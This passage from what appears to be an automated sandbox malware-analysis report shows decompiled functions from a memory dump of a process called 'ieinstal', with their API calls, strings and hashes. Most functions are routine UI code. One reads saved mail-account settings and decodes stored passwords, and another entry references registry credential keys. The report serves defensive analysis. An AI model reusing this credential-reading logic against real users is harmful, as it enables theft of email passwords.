                                                                                                                            • RegCloseKey.ADVAPI32(?), ref: 0040F2AC
                                                                                                                            • RegEnumKeyA.ADVAPI32(?,00000000,?,000000FF), ref: 0040F2C3
                                                                                                                            • RegCloseKey.ADVAPI32(?), ref: 0040F2D4
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_30_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: CloseOpen$ByteCharEnumFreeLocalMultiQueryValueWidememset
                                                                                                                            • String ID: Creds$ps:password
                                                                                                                            • API String ID: 551151806-1872227768
                                                                                                                            • Opcode ID: 99828ca7f35a41181d9bb96a9a02e43887c925b3765608a693f25377290640c0
                                                                                                                            • Instruction ID: 6090246ec9a09cf2b7bf1ee2c59d5b558b26d9adbf6fbfd3eb8a6f02fd62f1f0
                                                                                                                            • Opcode Fuzzy Hash: 99828ca7f35a41181d9bb96a9a02e43887c925b3765608a693f25377290640c0
                                                                                                                            • Instruction Fuzzy Hash: D7413ABA900209AFDF21DF95DC44EEFBBBCEF49704F0000B6F905E2151DA349A548B64
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00403158 Relevance: 13.6, APIs: 1, Strings: 8, Instructions: 100stringCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 67%
                                                                                                                            			E00403158(void* __eax, intOrPtr _a4, char* _a8) {
				signed int _v8;
				intOrPtr _v12;
				char _v188;
				char _v268;
				char _v524;
				void* __ebx;
				void* __edi;
				char* _t53;
				void* _t60;
				void* _t65;
				char* _t70;

				_v8 = _v8 & 0x00000000;
				_t65 = __eax;
				 *((intOrPtr*)(__eax + 0x8c)) = 3;
				 *((intOrPtr*)(__eax + 0x210)) = 1;
				E0040312A(_a4, "UsesIMAP",  &_v524, 0xff, _a8);
				if(_v524 == 0x31) {
					 *((intOrPtr*)(_t65 + 0x210)) = 2;
				}
				_v12 = _t65 + 0x110;
				E0040312A(_a4, "PopServer", _t65 + 0x110, 0x7f, _a8);
				_t70 = _t65 + 0x214;
				E0040312A(_a4, "LoginName", _t70, 0x7f, _a8);
				E0040312A(_a4, "RealName", _t65 + 0xc, 0x7f, _a8);
				E0040312A(_a4, "ReturnAddress", _t65 + 0x90, 0x7f, _a8);
				E0040312A(_a4, "SavePasswordText",  &_v268, 0xff, _a8);
				if(_v268 != 0) {
					_v188 = 0;
					E00401D2F( &_v268, _t65 + 0x294);
					if( *_t70 == 0) {
						_push(_a8);
						_t60 = 0x7f;
						_push(_t60);
						_push(_t70);
						_push("PopAccount");
						_push(_a4);
						E0040312A();
						if( *_t70 != 0) {
							_t53 = strchr(_t70, 0x40);
							_a8 = _t53;
							if(_t53 != 0) {
								E00406CA4(_t60, _v12,  &(_t53[1]));
								 *_a8 = 0;
							}
						}
					}
					_v8 = 1;
				}
				if( *_t70 != 0) {
					_v8 = 1;
				}
				return _v8;
			}














                                                                                                                            0x00403161
                                                                                                                            0x0040316b
                                                                                                                            0x00403182
                                                                                                                            0x0040318c
                                                                                                                            0x00403196
                                                                                                                            0x004031a2
                                                                                                                            0x004031a4
                                                                                                                            0x004031a4
                                                                                                                            0x004031c2
                                                                                                                            0x004031c5
                                                                                                                            0x004031cd
                                                                                                                            0x004031de
                                                                                                                            0x004031f4
                                                                                                                            0x0040320d
                                                                                                                            0x00403225
                                                                                                                            0x00403231
                                                                                                                            0x0040323f
                                                                                                                            0x00403246
                                                                                                                            0x0040324e
                                                                                                                            0x00403250
                                                                                                                            0x00403255
                                                                                                                            0x00403256
                                                                                                                            0x00403257
                                                                                                                            0x00403258
                                                                                                                            0x0040325d
                                                                                                                            0x00403260
                                                                                                                            0x00403268
                                                                                                                            0x0040326d
                                                                                                                            0x00403276
                                                                                                                            0x00403279
                                                                                                                            0x00403280
                                                                                                                            0x00403289
                                                                                                                            0x00403289
                                                                                                                            0x00403279
                                                                                                                            0x00403268
                                                                                                                            0x0040328c
                                                                                                                            0x0040328c
                                                                                                                            0x00403299
                                                                                                                            0x0040329b
                                                                                                                            0x0040329b
                                                                                                                            0x004032a6

                                                                                                                            APIs
                                                                                                                              • Part of subcall function 0040312A: GetPrivateProfileStringA.KERNEL32(00000000,?,0044551F,?,?,?), ref: 0040314E
                                                                                                                            • strchr.MSVCRT ref: 0040326D
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_30_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: PrivateProfileStringstrchr
                                                                                                                            • String ID: 1$LoginName$PopAccount$PopServer$RealName$ReturnAddress$SavePasswordText$UsesIMAP
                                                                                                                            • API String ID: 1348940319-1729847305
                                                                                                                            • Opcode ID: 744f29d2d2deae3fb126fd39ba5d775996f393179d4ac578be52819d2814d06a
                                                                                                                            • Instruction ID: ebc3817507c74d0428b70d6b21ed795ce2a60aa758e9561c8f94ff6eeee5590f
                                                                                                                            • Opcode Fuzzy Hash: 744f29d2d2deae3fb126fd39ba5d775996f393179d4ac578be52819d2814d06a
                                                                                                                            • Instruction Fuzzy Hash: 4A318F7090420ABEEF219F60CC45BD9BFACEF14319F10816AF9587A1D2D7B89B948B54
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040B0EB Relevance: 12.1, APIs: 8, Instructions: 108windowCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 37%
                                                                                                                            			E0040B0EB(void* __eax) {
				void* _v36;
				long _v40;
				intOrPtr _v44;
				intOrPtr _v52;
				void* _v68;
				long _t21;
				void* _t24;
				long _t26;
				long _t34;
				long _t37;
				intOrPtr* _t40;
				void* _t42;
				intOrPtr* _t44;
				intOrPtr* _t45;
				void* _t47;

				_t40 =  *0x445028; // 0x70062980
				_t47 = __eax;
				_t44 =  *0x445024; // 0x70038520
				if( *((intOrPtr*)(__eax + 0x198)) != 0) {
					_t37 =  *_t40(0x10, 0x10, 0x19, 1, 1);
					 *(__eax + 0x18c) = _t37;
					 *_t44(_t37, 1);
					SendMessageA( *(__eax + 0x184), 0x1003, 1,  *(__eax + 0x18c));
				}
				if( *((intOrPtr*)(_t47 + 0x19c)) != 0) {
					_t34 =  *_t40(0x20, 0x20, 0x19, 1, 1);
					 *(_t47 + 0x190) = _t34;
					 *_t44(_t34, 1);
					SendMessageA( *(_t47 + 0x184), 0x1003, 0,  *(_t47 + 0x190));
				}
				_t21 =  *_t40(0x10, 0x10, 0x19, 1, 1);
				 *(_t47 + 0x188) = _t21;
				 *_t44(_t21, 2);
				_v36 = LoadImageA( *0x4509f4, 0x85, 0, 0x10, 0x10, 0x1000);
				_t24 = LoadImageA( *0x4509f4, 0x86, 0, 0x10, 0x10, 0x1000);
				_t42 = _t24;
				 *_t44( *(_t47 + 0x188), 0);
				_t26 = GetSysColor(0xf);
				_t45 =  *0x44502c; // 0x7004c7a0
				_v40 = _t26;
				 *_t45( *(_t47 + 0x188), _v44, _t26);
				 *_t45( *(_t47 + 0x188), _t42, _v52);
				DeleteObject(_v68);
				DeleteObject(_t42);
				return SendMessageA(E00404C44( *(_t47 + 0x184)), 0x1208, 0,  *(_t47 + 0x188));
			}


















                                                                                                                            0x0040b0ee
                                                                                                                            0x0040b0fc
                                                                                                                            0x0040b106
                                                                                                                            0x0040b10c
                                                                                                                            0x0040b118
                                                                                                                            0x0040b11d
                                                                                                                            0x0040b123
                                                                                                                            0x0040b138
                                                                                                                            0x0040b138
                                                                                                                            0x0040b141
                                                                                                                            0x0040b14d
                                                                                                                            0x0040b152
                                                                                                                            0x0040b158
                                                                                                                            0x0040b16d
                                                                                                                            0x0040b16d
                                                                                                                            0x0040b179
                                                                                                                            0x0040b17e
                                                                                                                            0x0040b184
                                                                                                                            0x0040b1ba
                                                                                                                            0x0040b1be
                                                                                                                            0x0040b1c8
                                                                                                                            0x0040b1ca
                                                                                                                            0x0040b1ce
                                                                                                                            0x0040b1d4
                                                                                                                            0x0040b1df
                                                                                                                            0x0040b1e9
                                                                                                                            0x0040b1f6
                                                                                                                            0x0040b202
                                                                                                                            0x0040b205
                                                                                                                            0x0040b22b

                                                                                                                            APIs
                                                                                                                            • SendMessageA.USER32(?,00001003,00000001,?), ref: 0040B138
                                                                                                                            • SendMessageA.USER32(?,00001003,00000000,?), ref: 0040B16D
                                                                                                                            • LoadImageA.USER32(00000085,00000000,00000010,00000010,00001000), ref: 0040B1A2
                                                                                                                            • LoadImageA.USER32(00000086,00000000,00000010,00000010,00001000), ref: 0040B1BE
                                                                                                                            • GetSysColor.USER32(0000000F), ref: 0040B1CE
                                                                                                                            • DeleteObject.GDI32(?), ref: 0040B202
                                                                                                                            • DeleteObject.GDI32(00000000), ref: 0040B205
                                                                                                                            • SendMessageA.USER32(00000000,00001208,00000000,?), ref: 0040B223
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_30_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: MessageSend$DeleteImageLoadObject$Color
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 3642520215-0
                                                                                                                            • Opcode ID: 3b8b596084a258e6a3d6c587c6e164043eee07433b393cce24ea64cb7095e9ca
                                                                                                                            • Instruction ID: 035281c2cfb68a6c78eb86e81ad7e7fbca9e62364f8fd823d381b3cb5a7ebbdd
                                                                                                                            • Opcode Fuzzy Hash: 3b8b596084a258e6a3d6c587c6e164043eee07433b393cce24ea64cb7095e9ca
                                                                                                                            • Instruction Fuzzy Hash: B7318175280708BFFA316B709C47FD6B795EB48B01F104829F3856A1E2CAF278909B58
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00407065 Relevance: 12.1, APIs: 8, Instructions: 72COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 88%
                                                                                                                            			E00407065(void* __edx, struct HWND__* _a4) {
				struct HDC__* _v12;
				struct tagRECT _v28;
				struct HDC__* _t19;
				signed int _t32;
				int _t33;
				int _t35;
				int _t37;
				void* _t38;
				int _t39;
				intOrPtr _t40;
				intOrPtr _t45;

				_t38 = __edx;
				_t35 = GetSystemMetrics(0x11);
				_t39 = GetSystemMetrics(0x10);
				if(_t35 == 0 || _t39 == 0) {
					_t19 = GetDC(0);
					_v12 = _t19;
					_t39 = GetDeviceCaps(_t19, 8);
					_t35 = GetDeviceCaps(_v12, 0xa);
					ReleaseDC(0, _v12);
				}
				GetWindowRect(_a4,  &_v28);
				_t45 = _v28.right;
				_t40 = _v28.bottom;
				asm("cdq");
				asm("cdq");
				_t32 = _v28.top - _t40 + _t35 - 1 - _t38;
				_t37 = _v28.left - _t45 + _t39 - 1 - _t38 >> 1;
				_t33 = _t32 >> 1;
				if(_t32 < 0) {
					_t33 = 0;
				}
				if(_t37 < 0) {
					_t37 = 0;
				}
				return MoveWindow(_a4, _t37, _t33, _t45 - _v28.left + 1, _t40 - _v28.top + 1, 1);
			}














                                                                                                                            0x00407065
                                                                                                                            0x0040707a
                                                                                                                            0x00407080
                                                                                                                            0x00407082
                                                                                                                            0x0040708a
                                                                                                                            0x00407099
                                                                                                                            0x004070a3
                                                                                                                            0x004070aa
                                                                                                                            0x004070ae
                                                                                                                            0x004070ae
                                                                                                                            0x004070bb
                                                                                                                            0x004070c4
                                                                                                                            0x004070cd
                                                                                                                            0x004070d0
                                                                                                                            0x004070de
                                                                                                                            0x004070df
                                                                                                                            0x004070e1
                                                                                                                            0x004070e3
                                                                                                                            0x004070e5
                                                                                                                            0x004070e7
                                                                                                                            0x004070e7
                                                                                                                            0x004070eb
                                                                                                                            0x004070ed
                                                                                                                            0x004070ed
                                                                                                                            0x0040710a

                                                                                                                            APIs
                                                                                                                            • GetSystemMetrics.USER32(00000011), ref: 00407076
                                                                                                                            • GetSystemMetrics.USER32(00000010), ref: 0040707C
                                                                                                                            • GetDC.USER32(00000000), ref: 0040708A
                                                                                                                            • GetDeviceCaps.GDI32(00000000,00000008), ref: 0040709C
                                                                                                                            • GetDeviceCaps.GDI32(004012E4,0000000A), ref: 004070A5
                                                                                                                            • ReleaseDC.USER32(00000000,004012E4), ref: 004070AE
                                                                                                                            • GetWindowRect.USER32(004012E4,?), ref: 004070BB
                                                                                                                            • MoveWindow.USER32(004012E4,?,?,?,?,00000001,?,?,?,?,?,?,004012E4,?), ref: 00407100
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_30_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: CapsDeviceMetricsSystemWindow$MoveRectRelease
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 1999381814-0
                                                                                                                            • Opcode ID: 9f21f5323b7ceedafff5760536b34980224d30b32341e91405141b8b8f897059
                                                                                                                            • Instruction ID: 4d379cb21657894a0e11cf9a22620d5233689a1bec75a9944306807f4dd79964
                                                                                                                            • Opcode Fuzzy Hash: 9f21f5323b7ceedafff5760536b34980224d30b32341e91405141b8b8f897059
                                                                                                                            • Instruction Fuzzy Hash: 8F11B735E00619AFDF108FB8CC49BAF7F79EB45351F040135EE01E7291DA70A9048A91
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040900D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 37COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 37%
                                                                                                                            			E0040900D(CHAR* _a4, intOrPtr _a8) {
				void _v4103;
				char _v4104;

				0x4446d0();
				_v4104 = 0;
				memset( &_v4103, 0, 0x1000);
				GetPrivateProfileStringA(0x451308, _a4, 0x44551f,  &_v4104, 0x1000, 0x451200);
				if(_v4104 == 0) {
					return 0;
				} else {
					0x444032(_a8,  &_v4104);
					return 1;
				}
			}





                                                                                                                            0x00409015
                                                                                                                            0x0040902a
                                                                                                                            0x00409031
                                                                                                                            0x00409053
                                                                                                                            0x00409061
                                                                                                                            0x0040907c
                                                                                                                            0x00409063
                                                                                                                            0x0040906d
                                                                                                                            0x00409078
                                                                                                                            0x00409078

                                                                                                                            APIs
                                                                                                                            • memset.MSVCRT ref: 00409031
                                                                                                                            • GetPrivateProfileStringA.KERNEL32(00451308,0000000A,0044551F,?,00001000,00451200), ref: 00409053
                                                                                                                            • _mbscpy.MSVCRT ref: 0040906D
                                                                                                                            Strings
                                                                                                                            • <html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>, xrefs: 0040901A
                                                                                                                            • {?@ UD, xrefs: 0040900D
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_30_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: PrivateProfileString_mbscpymemset
                                                                                                                            • String ID: <html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>${?@ UD
                                                                                                                            • API String ID: 408644273-2682877464
                                                                                                                            • Opcode ID: 378cf609773933abd0cbf0de7e3743951131b1a096d6e983a9466431b2c11096
                                                                                                                            • Instruction ID: 644781a60c69e86f7c2c511092586478b4ed4a6ca21543a67b17e89033411e60
                                                                                                                            • Opcode Fuzzy Hash: 378cf609773933abd0cbf0de7e3743951131b1a096d6e983a9466431b2c11096
                                                                                                                            • Instruction Fuzzy Hash: 53F0E9729041987BEB129764EC01FCA77AC9B4974BF1000E6FB49F10C2D5F89EC48AAD
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0043000F Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 237COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            • unknown column "%s" in foreign key definition, xrefs: 0043027A
                                                                                                                            • number of columns in foreign key does not match the number of columns in the referenced table, xrefs: 00430087
                                                                                                                            • foreign key on %s should reference only one column of table %T, xrefs: 0043005F
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_30_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memcpy
                                                                                                                            • String ID: foreign key on %s should reference only one column of table %T$number of columns in foreign key does not match the number of columns in the referenced table$unknown column "%s" in foreign key definition
                                                                                                                            • API String ID: 3510742995-272990098
                                                                                                                            • Opcode ID: ba7cc926a2513b3f0d61d7686d9ea4b43c1dda64fb95451b7aee5590be9ae86f
                                                                                                                            • Instruction ID: b65499b1f20d22348a3d217da3c858198d90c87fbf4aa33eef889ec12c855700
                                                                                                                            • Opcode Fuzzy Hash: ba7cc926a2513b3f0d61d7686d9ea4b43c1dda64fb95451b7aee5590be9ae86f
                                                                                                                            • Instruction Fuzzy Hash: BFA14C75A00209DFCB14CF99D590AAEBBF1FF48304F14869AE805AB312D779EE51CB94
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 004100EC Relevance: 7.5, APIs: 5, Instructions: 40COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 15%
                                                                                                                            			E004100EC(intOrPtr* __ecx, void* __edx, intOrPtr _a4, struct HDC__* _a8, intOrPtr _a12) {
				void* __esi;
				void* _t11;
				void* _t26;
				intOrPtr* _t27;

				_t26 = __edx;
				_t11 = _a4 - 0x110;
				_t27 = __ecx;
				if(_t11 == 0) {
					E0040FD76(__ecx);
					E00407065(_t26,  *((intOrPtr*)(_t27 + 4)));
					L5:
					return E00401506(_t27, _a4, _a8, _a12);
				}
				if(_t11 != 0x28 || E00406EA5(_a12) == 0) {
					goto L5;
				} else {
					SetBkMode(_a8, 1);
					SetBkColor(_a8, GetSysColor(5));
					SetTextColor(_a8, 0xc00000);
					return GetSysColorBrush(5);
				}
			}







                                                                                                                            0x004100ec
                                                                                                                            0x004100f2
                                                                                                                            0x004100f8
                                                                                                                            0x004100fa
                                                                                                                            0x00410143
                                                                                                                            0x0041014b
                                                                                                                            0x00410151
                                                                                                                            0x00000000
                                                                                                                            0x0041015c
                                                                                                                            0x004100ff
                                                                                                                            0x00000000
                                                                                                                            0x0041010e
                                                                                                                            0x00410113
                                                                                                                            0x00410125
                                                                                                                            0x00410133
                                                                                                                            0x00000000
                                                                                                                            0x0041013b

                                                                                                                            APIs
                                                                                                                              • Part of subcall function 00406EA5: memset.MSVCRT ref: 00406EC5
                                                                                                                              • Part of subcall function 00406EA5: GetClassNameA.USER32(?,00000000,000000FF), ref: 00406ED8
                                                                                                                              • Part of subcall function 00406EA5: _strcmpi.MSVCRT ref: 00406EEA
                                                                                                                            • SetBkMode.GDI32(?,00000001), ref: 00410113
                                                                                                                            • GetSysColor.USER32(00000005), ref: 0041011B
                                                                                                                            • SetBkColor.GDI32(?,00000000), ref: 00410125
                                                                                                                            • SetTextColor.GDI32(?,00C00000), ref: 00410133
                                                                                                                            • GetSysColorBrush.USER32(00000005), ref: 0041013B
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_30_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Color$BrushClassModeNameText_strcmpimemset
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 2775283111-0
                                                                                                                            • Opcode ID: 627087e029a1abcb04561e415bb5884c82ccbbb1204662b743e4c0e852913d63
                                                                                                                            • Instruction ID: 15b5804eddbfc7b45e8a586a0394ac07707e7803bdc14c23b44bbc646b24dc1f
                                                                                                                            • Opcode Fuzzy Hash: 627087e029a1abcb04561e415bb5884c82ccbbb1204662b743e4c0e852913d63
                                                                                                                            • Instruction Fuzzy Hash: 7DF0F935100508BBDF116FA5DC09EDE3B25FF05711F10813AFA15585B1CBFAD9A09B58
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00401000 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32windowCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 100%
                                                                                                                            			E00401000(void* __esi, void* __eflags) {
				struct tagLOGFONTA _v64;
				int _t10;
				long _t11;

				E00406D65( &_v64, "MS Sans Serif", 0xa, 1);
				_t10 = CreateFontIndirectA( &_v64);
				 *(__esi + 0x20c) = _t10;
				_t11 = SendDlgItemMessageA( *(__esi + 4), 0x3ec, 0x30, _t10, 0);
				if( *0x4513d8 != 0) {
					return SendDlgItemMessageA( *(__esi + 4), 0x3ee, 0x30,  *(__esi + 0x20c), 0);
				}
				return _t11;
			}






                                                                                                                            0x00401013
                                                                                                                            0x0040101f
                                                                                                                            0x00401038
                                                                                                                            0x0040103e
                                                                                                                            0x00401047
                                                                                                                            0x00000000
                                                                                                                            0x0040105b
                                                                                                                            0x0040105f

                                                                                                                            APIs
                                                                                                                              • Part of subcall function 00406D65: memset.MSVCRT ref: 00406D6F
                                                                                                                              • Part of subcall function 00406D65: _mbscpy.MSVCRT ref: 00406DAF
                                                                                                                            • CreateFontIndirectA.GDI32(?), ref: 0040101F
                                                                                                                            • SendDlgItemMessageA.USER32(?,000003EC,00000030,00000000,00000000), ref: 0040103E
                                                                                                                            • SendDlgItemMessageA.USER32(?,000003EE,00000030,?,00000000), ref: 0040105B
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_30_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ItemMessageSend$CreateFontIndirect_mbscpymemset
                                                                                                                            • String ID: MS Sans Serif
                                                                                                                            • API String ID: 3492281209-168460110
                                                                                                                            • Opcode ID: 2b978f582ba89fecee05bf5e4b747a5653f5ca03fd4d42c103354d0125bbd5b3
                                                                                                                            • Instruction ID: 91d7546927304a6081eb6d9f577e17eac68e9825403057b28fc40c6b5cfff950
                                                                                                                            • Opcode Fuzzy Hash: 2b978f582ba89fecee05bf5e4b747a5653f5ca03fd4d42c103354d0125bbd5b3
                                                                                                                            • Instruction Fuzzy Hash: 54F0A775A407047BEB3267A0EC47F4A7BACAB41B41F104535F651B51F2D6F4B544CB48
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0041104F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            • failed memory resize %u to %u bytes, xrefs: 00411074
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_30_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: _msizerealloc
                                                                                                                            • String ID: failed memory resize %u to %u bytes
                                                                                                                            • API String ID: 2713192863-2134078882
                                                                                                                            • Opcode ID: f373e1ad7fcf1c0b49eed94f59212a9c5cf39ccd3639a4d1fec466c2720d2c36
                                                                                                                            • Instruction ID: 1811babadabc61a025a406b62bb89d9ddf1cf6d87da65dd644d5d85db6a8a765
                                                                                                                            • Opcode Fuzzy Hash: f373e1ad7fcf1c0b49eed94f59212a9c5cf39ccd3639a4d1fec466c2720d2c36
                                                                                                                            • Instruction Fuzzy Hash: 12D0C23290C2207EEA122644BC06A5BBB91DF90370F10C51FF618951A0DA3A8CA0638A
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%